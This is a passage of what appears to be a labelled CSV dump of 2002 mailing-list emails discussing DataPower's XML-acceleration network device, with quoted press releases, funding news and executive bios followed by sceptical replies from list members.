networkingdevices, capable of transforming XML traffic and transactions at the wire-speed enterprises need to effectively embrace Web services and other XML-centric initiatives. DataPowers solutions are based on its patent-pending XML Generation Three (XG3) technology. ""Enterprises are adopting XML at rapid rate to facilitate inter-and intra-company communications but their network infrastructure is ill prepared to support the requirements of this new traffic type. DataPowers XML-acceleration devices enable the wirespeed processing of XML that is required to support next generation enterprise applications,"" said Eugene Kuznetsov, CTO and founder of DataPower Technology. ""DataPower gives companies the ability to use XML thats critical to Web services projects without sacrificing an ounce of performance."" A single DataPower acceleration engine delivers the processing power of 10 serversbreaking the performance bottleneck associated with XML processing and delivering an extraordinary return on investment. In addition, the DataPower platform provides enhanced XML security, protection against XML-based denial-of-service attacks, connection of e-business protocols for incompatible XML data streams, load balancing between back-end servers and real-time statistics reports. ""In the post-bubble economy, technology investment decisions require laser-focused scrutiny. DataPowers patent-pending technology addresses a very real and growing pain point for enterprises,"" said Michael Tyrrell of Venrock Associates. ""By turbo-charging their networks with DataPowers unique XML-Aware networking technology, companies will be free to adopt next generation Web services without encountering performance and security pitfalls."" ""We looked long and hard for a company capable of addressing the rapidly growing problems surrounding XML message processing performance and security,"" said Bill Burnham of Mobius Venture Capital. ""DataPower is on their third generation of technology. Their patent pending XML Generation Three (XG3)technology was quite simply the single most compelling technology solution we have seen to date."" ""XML is not a nice-to-have, it is a must have for enterprises serious about optimizing application efficiency. Since 1999, DataPower has been developing solutions to facilitate enterprise use of XML and Web services,"" said Jeff Fagnan of Seed Capital Partners. ""DataPowers XML-acceleration devices are a key requirement for enterprises that rely on XML for mission critical applications."" About Venrock Associates Venrock Associates was founded as the venture capital arm of the Rockefeller Family and continues a tradition of funding entrepreneurs that now spans over seven decades. Laurance S. Rockefeller pioneered early stage venture financing in the 1930s. With over 300 investments over a span of more than 70 years, the firm has an established a track record of identifying and supporting promising early stage, technology- based enterprises. As one of most experienced venture firms in the United States, Venrock maintains a tradition of collaboration with talented entrepreneurs to establish successful, enduring companies. Venrock's continuing goal is to create long-term value by assisting entrepreneurs in building companies from the formative stages. Their consistent focus on Information Technology and Life Sciences-related opportunities provides a reservoir of knowledge and a network of contacts that have proven to be a catalyst for the growth of developing organizations. Venrock's investments have included CheckPoint Software, USinternetworking, Caliper Technologies, Illumina, Niku, DoubleClick, Media Metrix, 3COM, Intel, and Apple Computer. With offices in New York City, Cambridge, MA, and Menlo Park, CA, Venrock is well positioned to respond to opportunities in any locale. For more information on Venrock Associates, please visit www.venrock.com About Mobius Venture Capital Mobius Venture Capital, formerly SOFTBANK Venture Capital, is a $2.5 billion U.S.-based private equity venture capital firm managed by an unparalleled team of former CEOs and entrepreneurs, technology pioneers, senior executives from major technology corporations, and leaders from the investment banking community. Mobius Venture Capital specializes primarily in early-stage investments in the areas of: communications systems software and services; infrastructure software and services; professional services; enterprise applications; healthcare informatics; consumer and small business applications; components; and emerging technologies. Mobius Venture Capital combines its technology expertise and broad financial assets with the industry's best entrepreneurs to create a powerhouse portfolio of over 100 of the world's leading high technology companies. Mobius Venture Capital can be contacted by visiting their web site www.mobiusvc.com. About Seed Capital Partners Seed Capital Partners is an early-stage venture fund affiliated with SoftBank Corporation, one of the world's leading Internet market forces. Seed Capital manages funds focused primarily on companies addressing Internet-enabled business-to-business digital information technology opportunities, which are located in the Northeastern U.S., the southeastern region of the Province of Ontario, Canada, and Israel. Seed Capitals portfolio includes Spearhead Technologies, Concentric Visions and CompanyDNA. For more information on Seed Capital Partners, please visit www.seedcp.com. About DataPower Technology DataPower Technology provides enterprises with intelligent XML-Aware network infrastructure to ensure unparalleled performance, security and manageability of next-generation protocols. DataPowers patent-pending XML Generation Three (XG3) technology powers the industrys first wirespeed XML network devices, enabling secure, high-speed applications and XML Web Services. Founded in 1999, DataPower is now delivering its third generation of technology, providing immediate return on technology investments to industry-leading customers and partners. DataPower is privately held and based in Cambridge, MA. Investors include Mobius Venture Capital, Seed Capital Partners, and Venrock Associates. CONTACT: DataPower Technology, Inc. Kieran Taylor 617-864-0455 kieran@datapower.com Schwartz Communications John Moran/Heather Chichakly 781-684-0770 datapower@schwartz-pr.com ======================================================================== Steve Kelly, chairman and CEO During over twenty years in the technology industry, Steve Kelly has built and managed global enterprise networks, provided consulting services to Fortune 50 businesses, and been involved in the launch of several start-ups. Prior to DataPower, Kelly was an entrepreneur-in-residence at Venrock Associates, and was co-founder of Castle Networks, where he led the company's sales, service and marketing functions. Castle was acquired by Siemens AG in 1999 to create Unisphere Networks, which was subsequently purchased by Juniper Networks. Kelly was an early contributor at Cascade Communications, where he built and managed the company's core switching business; Cascade's annual revenues grew from $2 million to $300 million annually during Kelly's tenure. Kelly also worked at Digital Equipment Corporation where he managed and grew their corporate network to 50,000+ nodes in 28 countries, the largest in the world at the time. Kelly has a B.S. in Information Systems from Bentley College. Eugene Kuznetsov, founder, president and CTO Eugene Kuznetsov is a technology visionary that has been working to address enterprise XML issues since the late 90s. Kuznetsov founded DataPower Technology, Inc. in 1999 to provide enterprises with an intelligent, XML-aware network infrastructure to support next-generation applications. Prior to starting DataPower, Kuznetsov led the Java JIT Compiler effort for Microsoft Internet Explorer for Macintosh 4.0. He was also part of the team which developed one of the first clean room Java VM's. This high-speed runtime technology was licensed by some of the industry's largest technology companies, including Apple Computer. He has consulted to numerous companies and worked on a variety of hardware and software engineering problems in the areas of memory management, power electronics, optimized execution engines and application integration. Kuznetsov holds a B.S. in electrical engineering from MIT. Steve Willis, vice president of advanced technology Steve Willis is an accomplished entrepreneur and a pioneer in protocol optimization. Prior to joining DataPower, Willis was co-founder and CTO of Argon Networks, a provider of high-performance switching routers that was acquired by Siemens AG in 1999 to create Unisphere Networks; Unisphere was subsequently purchased by Juniper Networks. Before Argon, Steve was vice president of advanced technology at Bay Networks (now Nortel Networks) where he led both IP and ATM-related technology development and managed a group that generated 24 patent applications, developed a 1 Mbps forwarding engine and led the specification of the ATM Forum's PNNI routing protocol. Most notably, Steve was co-founder, original software director and architect for Wellfleet Communications, a leading pioneer of multi-protocol routers. Wellfleet was rated as the fastest growing company in the U.S. for two consecutive years by Fortune magazine. Willis is currently a member of the Institute of Electrical and Electronics Engineers (IEEE) and the Internet Research Task Force (IRTF) Routing Research Group. Willis has a B.D.I.C. in Computer Science from the University of Massachusetts. Bill Tao, vice president of engineering With a vast understanding of network optimization technologies and extensive experience in LAN and WAN networking, Bill Tao brings over 25 years of critical knowledge to lead DataPower's engineering efforts. Prior to DataPower, Tao was the vice president of engineering for Sycamore Networks, developing a family of metro/regional optical network switches. He is also well acquainted with network optimization techniques as he was previously vice president of engineering at InfoLibria, where he led development and software quality assurance engineering for a family of network caching products. Tao has held senior engineering positions at NetEdge, Proteon, Codex and Wang. Tao received a B.S. in Electrical Engineering from the University of Connecticut and an M.S. in Computer Science from the University of Illinois. Kieran Taylor, director of product marketing Kieran Taylor has an accomplished record as a marketing professional, industry analyst and journalist. Prior to joining DataPower, Taylor was the director of product management and marketing for Akamai Technologies (NASDAQ: AKAM). As an early contributor at Akamai, he helped develop the company's initial positioning and led the technical development and go-to-market activities for Akamai's flagship EdgeSuite service. Taylor's early contribution helped position the service provider to secure a $12.6 billion IPO. He has also held senior marketing management positions at Nortel Networks, Inc. and Bay Networks. Taylor was previously an analyst at TeleChoice, Inc. and the Wide Area Networks editor for Data Communications, a McGraw Hill publication. Taylor holds a B.A. in Print Journalism from the Pennsylvania State University School of Communications. ================================================================= Board of Advisors Mark Hoover Mark Hoover is President and co-founder of Acuitive, Inc., a start-up accelerator. With over 20 years experience in the networking industry, Hoover's expertise spans product development, marketing, and business development. Before launching Acuitive, Hoover worked at AT&T Bell Laboratories, AT&T Computer Systems, SynOptics, and Bay Networks, where he played a role in the development of key technologies, such as 10-BASET, routing, FDDI, ATM, Ethernet switching, firewall, Internet traffic management, and edge WAN switch industries. George Kassabgi Currently Vice President of Engineering at BEA Systems, Mr. Kassabgi has held executive-level positions in engineering, sales and marketing, and has spearheaded leading-edge developments in the application server marketplace since 1996. He is widely known for his regular speaking engagements at JavaOne, as well as columns and contributions in JavaPro, Java Developer's Journal and other publications. In addition to being a venerated Java expert, George Kassabgi holds a patent on SmartObject Technology, and authored the technical book Progress V8. Marshall T. Rose Marshall T. Rose runs his own firm, Dover Beach Consulting, Inc. He formerly held the position of the Internet Engineering Task Force (IETF) Area Director for Network Management, one of a dozen individuals who oversaw the Internet's standardization process. Rose is the author of several professional texts on subjects such as Internet Management, Electronic Mail, and Directory Services, which have been published in four languages. He is well known for his implementations of core Internet technologies (such as POP, SMTP, and SNMP) and OSI technologies (such as X.500 and FTAM). Rose received a PhD in Information and Computer Science from the University of California, Irvine, in 1984.",0,0 """John Hall"" ",,"Tue, 27 Aug 2002 14:14:18 -0700",RE: The Curse of India's Socialism,"> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of James > Rogers > Subject: Re: The Curse of India's Socialism > > On Tue, 2002-08-20 at 15:01, Ian Andrew Bell wrote: > > They > > finished their routine with the a quadruple lutz -- laying off > > hundreds of thousands of workers when it all came crashing down. > > So what? Nobody is guaranteed employment. Laying people off is not a > crime nor is it immoral. Companies don't exist to provide employment, > nor should they. The closest we have to such a thing in the US is a > Government Job, and look at the quality THAT breeds. And further, why focus on the fact they were laid off and not on the fact they were hired in the first place? BTW: I saw someone claim that aside from the efficiency of the market there were also gains to society from irrational behavior. If a society has business people that systematically overestimate their chances, that is bad for the businessmen but on net a big gain for society. On the social level, the law of averages works to societies benefit in a manner it can't for an individual. A key reason, in this view, that the US wound up outperforming England was that the English investors were too rational for their societies own good. (Except, of course, when US investors were bilking them to build canals and railroads over here. Thanks, guys.) ===================== Applied to telecom: a lot of dark wire (glass) and innovation will eventually be used for pennies on the dollar, the benefits to society and the costs to the investors.",0,0 """John Evdemon"" ",fork@spamassassin.taint.org,"Tue, 27 Aug 2002 18:29:59 -0400",Re: DataPower announces XML-in-silicon,"On 27 Aug 2002 at 15:00, Rohit Khare wrote: > > DATAPOWER TECHNOLOGY ON Monday unveiled its network device > designed specifically to process XML data. Unlike competing > solutions that process XML data in software, DataPower's > device processes the data in hardware -- a technology > achievement that provides greater performance, according to > company officials. > Sarvega seems to have a similar product. http://www.sarvega.com.",0,1 """Meltsner, Kenneth"" ","""Rohit Khare"" , ","Tue, 27 Aug 2002 18:18:37 -0400",RE: DataPower announces XML-in-silicon,"If it's not stateful, it wouldn't seem to be worth the effort, although I guess it might help with DDoS attacks. Sounds snake-oilish to me, but I'm biased by lots of experience with firewalls and proxy servers, and the limitations thereof. Ken > -----Original Message----- > From: Rohit Khare [mailto:khare@alumni.caltech.edu] > Sent: Tuesday, August 27, 2002 5:00 PM > To: fork@spamassassin.taint.org > Subject: DataPower announces XML-in-silicon > > > No analysis yet... don't know what to make of it yet. But > here's the raw > bits for all to peruse and check out what's really going on... Best, > Rohit > > =========================================================== > > DataPower delivers XML acceleration device > ByScott Tyler Shafer > August 27, 2002 5:46 am PT > > DATAPOWER TECHNOLOGY ON Monday unveiled its network device designed > specifically to process XML data. Unlike competing solutions that > process XML data in software, DataPower's device processes > the data in > hardware -- a technology achievement that provides greater > performance, > according to company officials. > > The new device, dubbed DataPower XA35 XML Accelerator, is the > first in a > family of products expected from the Cambridge, Mass.-based > startup. The > DataPower family is based on a proprietary processing core technology > called XG3 that does the analysis, parsing, and processing of the XML > data. > > According to Steve Kelly, CEO of DataPower, the XA35 Accelerator was > conceived to meet the steady adoption of XML, the anticipated future > proliferation of Web services, and as a means to share data > between two > businesses. > > ""Our vision is to build out an XML-aware infrastructure,"" Kelly said. > ""The XA35 is the first of a family."" > > Kelly explained that converting data into XML increases the > file size up > to 20 times. This, he said, makes processing the data very taxing on > application servers; DataPower believes an inline device is the best > alternative. > > In addition to the large file sizes, security is also of paramount > importance in the world of XML. > > ""Today's firewalls are designed to inspect HTTP traffic only,"" Kelly > said. ""A SOAP packet with XML will go straight through a firewall. > Firewalls are blind to XML today."" > > Future products in DataPowers family will focus more specifically on > security, especially as Web services proliferate, Kelly said. > > According to DataPower, most existing solutions to offload XML > processing are homegrown and done in software -- an approach > the company > itself tried initially and found to be inadequate with > regards to speed > and security. After trying the software path, the company turned to > creating a solution that would process XML in hardware. > > ""Our XG3 execution core converts XML to machine code,"" said Kelly, > adding that to his knowledge no other company's solution does. Kelly > said in the next few months he expects the market to be flooded with > technologies that claim to do XML processing -- claims that > he believes > will be mostly false. > Other content-aware switches, such as SSL (secure socket layer) > accelerators and load balancers, look at the first 64 bytes > of a packet, > while the XA35 provides deeper packet inspection, looking at > 1,400 bytes > and thus enabling greater processing of XML data, Kelly explained. > > The 1U-high network device has been tested against a large > collection of > XML and XSL data types and can learn new flavors of the > markup language > as they pass through the device. > > The XA35 can be deployed in proxy mode behind a firewall and a load > balancer, and it will inspect all traffic that passes and > will identify > and process those packets that are XML, Kelly said. > > In addition to proxy mode, the device can also be used as an > application > co-processor. This deployment method gives administrators > more granular > control over what data is inspected and the application server itself > controls the device. > > DataPower is not the only company chasing this emerging > market. Startup > Sarvega, based in Burr Ridge, Ill., introduced the Sarvega > XPE switch in > May, and earlier this month Tarari, an Intel spin-off, > launched with a > focus on content processing and acceleration. > The DataPower device is now available, priced starting at > $54,995. The > company has announced one customer to date and says the product is in > field trails at a number of other enterprises. > > ============================================================== > =========== > > DataPower has been addressing enterprise networking needs > since it was > founded in early 1999 by Eugene Kuznetsov, a technology visionary who > foresaw the adverse effects XML and other next generation protocols > would have on enterprise networks. Long before industry > interest in XML > grew, Kuznetsov assembled a team of world-class M.I.T. engineers and > designed the industry's first solutions to address the unique > requirements for processing XML. The first such solution was > a software > interpreter called DGXT. This software-based approach to XML > processing > is still licensed by many companies for use in their own > products today. > > Leveraging the detailed knowledge and customer experience gained from > developing software-based accelerators, Kuznetsov's team > raised the bar > and designed a system for processing XML in purpose-built > hardware. In > 2001, DataPower's effort produced XML Generation Three (XG3), the > industry's fastest technology for XML processing, bar none. > > Today, XG3 technology powers the industry's first wire-speed XML > network devices, enabling secure, high-speed applications and XML Web > Services. While other companies are just now marketing first > versions of > products, DataPower is delivering its third generation of technology, > providing an immediate return on technology investments to > industry-leading customers and partners. > > DataPower's M.I.T. heritage is complemented by a management team that > brings decades of experience in the networking and computing > industries, > drawing veteran leaders from several successful companies including > Akamai, Argon, Cascade, Castle Networks, Sycamore and Wellfleet. > > ============================================================== > =========== > > DataPower Technology Secures $9.5 Million in Funding > > Venrock Associates, Mobius Venture Capital and Seed Capital > Back Pioneer > in XML-Aware Networking for Web Services > > CAMBRIDGE, Mass. - July 8, 2002 - DataPower Technology, Inc., the > leading provider of XML-Aware network infrastructure, today announced > that it has secured $9.5 million in series B financing. Investors for > this round include Venrock Associates, Mobius Venture Capital > and Seed > Capital Partners. Michael Tyrrell, of Venrock, Bill Burnham, > of Mobius, > and Jeff Fagnan, of Seed Capital, have joined DataPowers Board of > Directors. > > DataPower will use this funding to accelerate development, > marketing and > sales of the companys breakthrough technology for XML-Aware > networking. > Founded in 1999, DataPower invented the worlds first intelligent XML > networkingdevices, capable of transforming XML traffic and > transactions > at the wire-speed enterprises need to effectively embrace Web > services > and other XML-centric initiatives. DataPowers solutions are based on > its patent-pending XML Generation Three (XG3) technology. > > ""Enterprises are adopting XML at rapid rate to facilitate inter-and > intra-company communications but their network infrastructure is ill > prepared to support the requirements of this new traffic type. > DataPowers XML-acceleration devices enable the wirespeed > processing of > XML that is required to support next generation enterprise > applications,"" said Eugene Kuznetsov, CTO and founder of DataPower > Technology. > > ""DataPower gives companies the ability to use XML thats > critical to Web > services projects without sacrificing an ounce of > performance."" A single > DataPower acceleration engine delivers the processing power of 10 > serversbreaking the performance bottleneck associated with XML > processing and delivering an extraordinary return on investment. In > addition, the DataPower platform provides enhanced XML security, > protection against XML-based denial-of-service attacks, connection of > e-business protocols for incompatible XML data streams, load > balancing > between back-end servers and real-time statistics reports. > > ""In the post-bubble economy, technology investment decisions require > laser-focused scrutiny. DataPowers patent-pending technology > addresses > a very real and growing pain point for enterprises,"" said Michael > Tyrrell of Venrock Associates. ""By turbo-charging their networks with > DataPowers unique XML-Aware networking technology, companies will be > free to adopt next generation Web services without encountering > performance and security pitfalls."" > > ""We looked long and hard for a company capable of addressing > the rapidly > growing problems surrounding XML message processing performance and > security,"" said Bill Burnham of Mobius Venture Capital. > ""DataPower is on > their third generation of technology. Their patent pending XML > Generation Three (XG3)technology was quite simply the single most > compelling technology solution we have seen to date."" > > ""XML is not a nice-to-have, it is a must have for enterprises serious > about optimizing application efficiency. Since 1999, > DataPower has been > developing solutions to facilitate enterprise use of XML and Web > services,"" said Jeff Fagnan of Seed Capital Partners. ""DataPowers > XML-acceleration devices are a key requirement for > enterprises that rely > on XML for mission critical applications."" > > About Venrock Associates > Venrock Associates was founded as the venture capital arm of the > Rockefeller Family and continues a tradition of funding entrepreneurs > that now spans over seven decades. Laurance S. Rockefeller pioneered > early stage venture financing in the 1930s. With over 300 investments > over a span of more than 70 years, the firm has an > established a track > record of identifying and supporting promising early stage, > technology- > based enterprises. As one of most experienced venture firms in the > United States, Venrock maintains a tradition of collaboration with > talented entrepreneurs to establish successful, enduring companies. > Venrock's continuing goal is to create long-term value by assisting > entrepreneurs in building companies from the formative stages. Their > consistent focus on Information Technology and Life Sciences-related > opportunities provides a reservoir of knowledge and a network of > contacts that have proven to be a catalyst for the growth of > developing > organizations. Venrock's investments have included CheckPoint > Software, > USinternetworking, Caliper Technologies, Illumina, Niku, DoubleClick, > Media Metrix, 3COM, Intel, and Apple Computer. With offices > in New York > City, Cambridge, MA, and Menlo Park, CA, Venrock is well > positioned to > respond to opportunities in any locale. For more information > on Venrock > Associates, please visit www.venrock.com > > About Mobius Venture Capital > Mobius Venture Capital, formerly SOFTBANK Venture Capital, is a $2.5 > billion U.S.-based private equity venture capital firm managed by an > unparalleled team of former CEOs and entrepreneurs, > technology pioneers, > senior executives from major technology corporations, and > leaders from > the investment banking community. Mobius Venture Capital specializes > primarily in early-stage investments in the areas of: communications > systems software and services; infrastructure software and services; > professional services; enterprise applications; healthcare > informatics; > consumer and small business applications; components; and emerging > technologies. Mobius Venture Capital combines its technology > expertise > and broad financial assets with the industry's best entrepreneurs to > create a powerhouse portfolio of over 100 of the world's leading high > technology companies. Mobius Venture Capital can be contacted by > visiting their web site www.mobiusvc.com. > > About Seed Capital Partners > Seed Capital Partners is an early-stage venture fund affiliated with > SoftBank Corporation, one of the world's leading Internet > market forces. > Seed Capital manages funds focused primarily on companies addressing > Internet-enabled business-to-business digital information technology > opportunities, which are located in the Northeastern U.S., the > southeastern region of the Province of Ontario, Canada, and > Israel. Seed > Capitals portfolio includes Spearhead Technologies, > Concentric Visions > and CompanyDNA. For more information on Seed Capital Partners, please > visit www.seedcp.com. > > About DataPower Technology > DataPower Technology provides enterprises with intelligent XML-Aware > network infrastructure to ensure unparalleled performance, > security and > manageability of next-generation protocols. DataPowers > patent-pending > XML Generation Three (XG3) technology powers the industrys first > wirespeed XML network devices, enabling secure, high-speed > applications > and XML Web Services. Founded in 1999, DataPower is now > delivering its > third generation of technology, providing immediate return on > technology > investments to industry-leading customers and partners. DataPower is > privately held and based in Cambridge, MA. Investors include Mobius > Venture Capital, Seed Capital Partners, and Venrock Associates. > > CONTACT: > > DataPower Technology, Inc. > Kieran Taylor > 617-864-0455 > kieran@datapower.com > > Schwartz Communications > John Moran/Heather Chichakly > 781-684-0770 > datapower@schwartz-pr.com > > ============================================================== > ========== > > Steve Kelly, chairman and CEO > > During over twenty years in the technology industry, Steve Kelly has > built and managed global enterprise networks, provided consulting > services to Fortune 50 businesses, and been involved in the launch of > several start-ups. Prior to DataPower, Kelly was an > entrepreneur-in-residence at Venrock Associates, and was > co-founder of > Castle Networks, where he led the company's sales, service > and marketing > functions. Castle was acquired by Siemens AG in 1999 to > create Unisphere > Networks, which was subsequently purchased by Juniper Networks. Kelly > was an early contributor at Cascade Communications, where he > built and > managed the company's core switching business; Cascade's > annual revenues > grew from $2 million to $300 million annually during Kelly's tenure. > Kelly also worked at Digital Equipment Corporation where he > managed and > grew their corporate network to 50,000+ nodes in 28 countries, the > largest in the world at the time. Kelly has a B.S. in Information > Systems from Bentley College. > > Eugene Kuznetsov, founder, president and CTO > > Eugene Kuznetsov is a technology visionary that has been working to > address enterprise XML issues since the late 90s. Kuznetsov founded > DataPower Technology, Inc. in 1999 to provide enterprises with an > intelligent, XML-aware network infrastructure to support > next-generation > applications. Prior to starting DataPower, Kuznetsov led the Java JIT > Compiler effort for Microsoft Internet Explorer for Macintosh 4.0. He > was also part of the team which developed one of the first clean room > Java VM's. This high-speed runtime technology was licensed by some of > the industry's largest technology companies, including Apple > Computer. > He has consulted to numerous companies and worked on a variety of > hardware and software engineering problems in the areas of memory > management, power electronics, optimized execution engines and > application integration. Kuznetsov holds a B.S. in electrical > engineering from MIT. > > Steve Willis, vice president of advanced technology > > Steve Willis is an accomplished entrepreneur and a pioneer in > protocol > optimization. Prior to joining DataPower, Willis was > co-founder and CTO > of Argon Networks, a provider of high-performance switching > routers that > was acquired by Siemens AG in 1999 to create Unisphere Networks; > Unisphere was subsequently purchased by Juniper Networks. > Before Argon, > Steve was vice president of advanced technology at Bay Networks (now > Nortel Networks) where he led both IP and ATM-related technology > development and managed a group that generated 24 patent > applications, > developed a 1 Mbps forwarding engine and led the specification of the > ATM Forum's PNNI routing protocol. Most notably, Steve was > co-founder, > original software director and architect for Wellfleet > Communications, a > leading pioneer of multi-protocol routers. Wellfleet was rated as the > fastest growing company in the U.S. for two consecutive years > by Fortune > magazine. Willis is currently a member of the Institute of Electrical > and Electronics Engineers (IEEE) and the Internet Research Task Force > (IRTF) Routing Research Group. Willis has a B.D.I.C. in > Computer Science > from the University of Massachusetts. > > Bill Tao, vice president of engineering > > With a vast understanding of network optimization technologies and > extensive experience in LAN and WAN networking, Bill Tao > brings over 25 > years of critical knowledge to lead DataPower's engineering efforts. > Prior to DataPower, Tao was the vice president of engineering for > Sycamore Networks, developing a family of metro/regional > optical network > switches. He is also well acquainted with network optimization > techniques as he was previously vice president of engineering at > InfoLibria, where he led development and software quality assurance > engineering for a family of network caching products. Tao has held > senior engineering positions at NetEdge, Proteon, Codex and Wang. Tao > received a B.S. in Electrical Engineering from the University of > Connecticut and an M.S. in Computer Science from the University of > Illinois. > > Kieran Taylor, director of product marketing > > Kieran Taylor has an accomplished record as a marketing professional, > industry analyst and journalist. Prior to joining DataPower, > Taylor was > the director of product management and marketing for Akamai > Technologies > (NASDAQ: AKAM). As an early contributor at Akamai, he helped > develop the > company's initial positioning and led the technical development and > go-to-market activities for Akamai's flagship EdgeSuite service. > Taylor's early contribution helped position the service provider to > secure a $12.6 billion IPO. He has also held senior marketing > management > positions at Nortel Networks, Inc. and Bay Networks. Taylor was > previously an analyst at TeleChoice, Inc. and the Wide Area Networks > editor for Data Communications, a McGraw Hill publication. > Taylor holds > a B.A. in Print Journalism from the Pennsylvania State > University School > of Communications. > > ================================================================= > Board of Advisors > > Mark Hoover > Mark Hoover is President and co-founder of Acuitive, Inc., a start-up > accelerator. With over 20 years experience in the networking > industry, > Hoover's expertise spans product development, marketing, and business > development. Before launching Acuitive, Hoover worked at AT&T Bell > Laboratories, AT&T Computer Systems, SynOptics, and Bay > Networks, where > he played a role in the development of key technologies, such as > 10-BASET, routing, FDDI, ATM, Ethernet switching, firewall, Internet > traffic management, and edge WAN switch industries. > > George Kassabgi > Currently Vice President of Engineering at BEA Systems, Mr. > Kassabgi has > held executive-level positions in engineering, sales and > marketing, and > has spearheaded leading-edge developments in the application server > marketplace since 1996. He is widely known for his regular speaking > engagements at JavaOne, as well as columns and contributions > in JavaPro, > Java Developer's Journal and other publications. In addition > to being a > venerated Java expert, George Kassabgi holds a patent on SmartObject > Technology, and authored the technical book Progress V8. > > Marshall T. Rose > Marshall T. Rose runs his own firm, Dover Beach Consulting, Inc. He > formerly held the position of the Internet Engineering Task > Force (IETF) > Area Director for Network Management, one of a dozen individuals who > oversaw the Internet's standardization process. Rose is the author of > several professional texts on subjects such as Internet Management, > Electronic Mail, and Directory Services, which have been published in > four languages. He is well known for his implementations of core > Internet technologies (such as POP, SMTP, and SNMP) and OSI > technologies > (such as X.500 and FTAM). Rose received a PhD in Information and > Computer Science from the University of California, Irvine, in 1984. > >",0,0 """John Evdemon"" ",fork@spamassassin.taint.org,"Tue, 27 Aug 2002 18:42:28 -0400",Re: DataPower announces XML-in-silicon,"On 27 Aug 2002 at 15:00, Rohit Khare wrote: > DataPower delivers XML acceleration device > ByScott Tyler Shafer > August 27, 2002 5:46 am PT > Intel also had a similar device a couple of years ago (Netstructure). They have, afaik, abandoned it. Intel is still in the XML hardware game though. On 8/19 they spun off a company named Tarari. Tarari develops hardware to check the headers of IP packets. Tarari calls this Layer 7 processing (atop the OSI model). From what I can tell, Tarari plans to combine virus scanning and XML acceleration into a single hardware device.",0,0 Paul Sholtz ,"""'Rohit Khare '"" ,","Tue, 27 Aug 2002 17:17:41 -0700",RE: DataPower announces XML-in-silicon,"Hardware acceleration for SSL makes sense since PKI can slow down a transaction by as much as 1,000-fold. Per this article, XML formatting only increases doc size by about 20-fold.. I'm not sure there are enough ""powers of ten"" in there to justify hardware acceleration. Expect the next major release from DataPower to be the revolutionary new ""email chip"" - allows you to offload the sending and receiving of email messages onto dedicated hardware while you get on w/ more important things .. like listening to MP3s.. Best, Paul Sholtz -----Original Message----- From: Rohit Khare To: fork@spamassassin.taint.org Sent: 8/27/02 3:00 PM Subject: DataPower announces XML-in-silicon No analysis yet... don't know what to make of it yet. But here's the raw bits for all to peruse and check out what's really going on... Best, Rohit =========================================================== DataPower delivers XML acceleration device ByScott Tyler Shafer August 27, 2002 5:46 am PT DATAPOWER TECHNOLOGY ON Monday unveiled its network device designed specifically to process XML data. Unlike competing solutions that process XML data in software, DataPower's device processes the data in hardware -- a technology achievement that provides greater performance, according to company officials. The new device, dubbed DataPower XA35 XML Accelerator, is the first in a family of products expected from the Cambridge, Mass.-based startup. The DataPower family is based on a proprietary processing core technology called XG3 that does the analysis, parsing, and processing of the XML data. According to Steve Kelly, CEO of DataPower, the XA35 Accelerator was conceived to meet the steady adoption of XML, the anticipated future proliferation of Web services, and as a means to share data between two businesses. ""Our vision is to build out an XML-aware infrastructure,"" Kelly said. ""The XA35 is the first of a family."" Kelly explained that converting data into XML increases the file size up to 20 times. This, he said, makes processing the data very taxing on application servers; DataPower believes an inline device is the best alternative. In addition to the large file sizes, security is also of paramount importance in the world of XML. ""Today's firewalls are designed to inspect HTTP traffic only,"" Kelly said. ""A SOAP packet with XML will go straight through a firewall. Firewalls are blind to XML today."" Future products in DataPowers family will focus more specifically on security, especially as Web services proliferate, Kelly said. According to DataPower, most existing solutions to offload XML processing are homegrown and done in software -- an approach the company itself tried initially and found to be inadequate with regards to speed and security. After trying the software path, the company turned to creating a solution that would process XML in hardware. ""Our XG3 execution core converts XML to machine code,"" said Kelly, adding that to his knowledge no other company's solution does. Kelly said in the next few months he expects the market to be flooded with technologies that claim to do XML processing -- claims that he believes will be mostly false. Other content-aware switches, such as SSL (secure socket layer) accelerators and load balancers, look at the first 64 bytes of a packet, while the XA35 provides deeper packet inspection, looking at 1,400 bytes and thus enabling greater processing of XML data, Kelly explained. The 1U-high network device has been tested against a large collection of XML and XSL data types and can learn new flavors of the markup language as they pass through the device. The XA35 can be deployed in proxy mode behind a firewall and a load balancer, and it will inspect all traffic that passes and will identify and process those packets that are XML, Kelly said. In addition to proxy mode, the device can also be used as an application co-processor. This deployment method gives administrators more granular control over what data is inspected and the application server itself controls the device. DataPower is not the only company chasing this emerging market. Startup Sarvega, based in Burr Ridge, Ill., introduced the Sarvega XPE switch in May, and earlier this month Tarari, an Intel spin-off, launched with a focus on content processing and acceleration. The DataPower device is now available, priced starting at $54,995. The company has announced one customer to date and says the product is in field trails at a number of other enterprises. ======================================================================== = DataPower has been addressing enterprise networking needs since it was founded in early 1999 by Eugene Kuznetsov, a technology visionary who foresaw the adverse effects XML and other next generation protocols would have on enterprise networks. Long before industry interest in XML grew, Kuznetsov assembled a team of world-class M.I.T. engineers and designed the industry's first solutions to address the unique requirements for processing XML. The first such solution was a software interpreter called DGXT. This software-based approach to XML processing is still licensed by many companies for use in their own products today. Leveraging the detailed knowledge and customer experience gained from developing software-based accelerators, Kuznetsov's team raised the bar and designed a system for processing XML in purpose-built hardware. In 2001, DataPower's effort produced XML Generation Three (XG3), the industry's fastest technology for XML processing, bar none. Today, XG3 technology powers the industry's first wire-speed XML network devices, enabling secure, high-speed applications and XML Web Services. While other companies are just now marketing first versions of products, DataPower is delivering its third generation of technology, providing an immediate return on technology investments to industry-leading customers and partners. DataPower's M.I.T. heritage is complemented by a management team that brings decades of experience in the networking and computing industries, drawing veteran leaders from several successful companies including Akamai, Argon, Cascade, Castle Networks, Sycamore and Wellfleet. ======================================================================== = DataPower Technology Secures $9.5 Million in Funding Venrock Associates, Mobius Venture Capital and Seed Capital Back Pioneer in XML-Aware Networking for Web Services CAMBRIDGE, Mass. - July 8, 2002 - DataPower Technology, Inc., the leading provider of XML-Aware network infrastructure, today announced that it has secured $9.5 million in series B financing. Investors for this round include Venrock Associates, Mobius Venture Capital and Seed Capital Partners. Michael Tyrrell, of Venrock, Bill Burnham, of Mobius, and Jeff Fagnan, of Seed Capital, have joined DataPowers Board of Directors. DataPower will use this funding to accelerate development, marketing and sales of the companys breakthrough technology for XML-Aware networking. Founded in 1999, DataPower invented the worlds first intelligent XML networkingdevices, capable of transforming XML traffic and transactions at the wire-speed enterprises need to effectively embrace Web services and other XML-centric initiatives. DataPowers solutions are based on its patent-pending XML Generation Three (XG3) technology. ""Enterprises are adopting XML at rapid rate to facilitate inter-and intra-company communications but their network infrastructure is ill 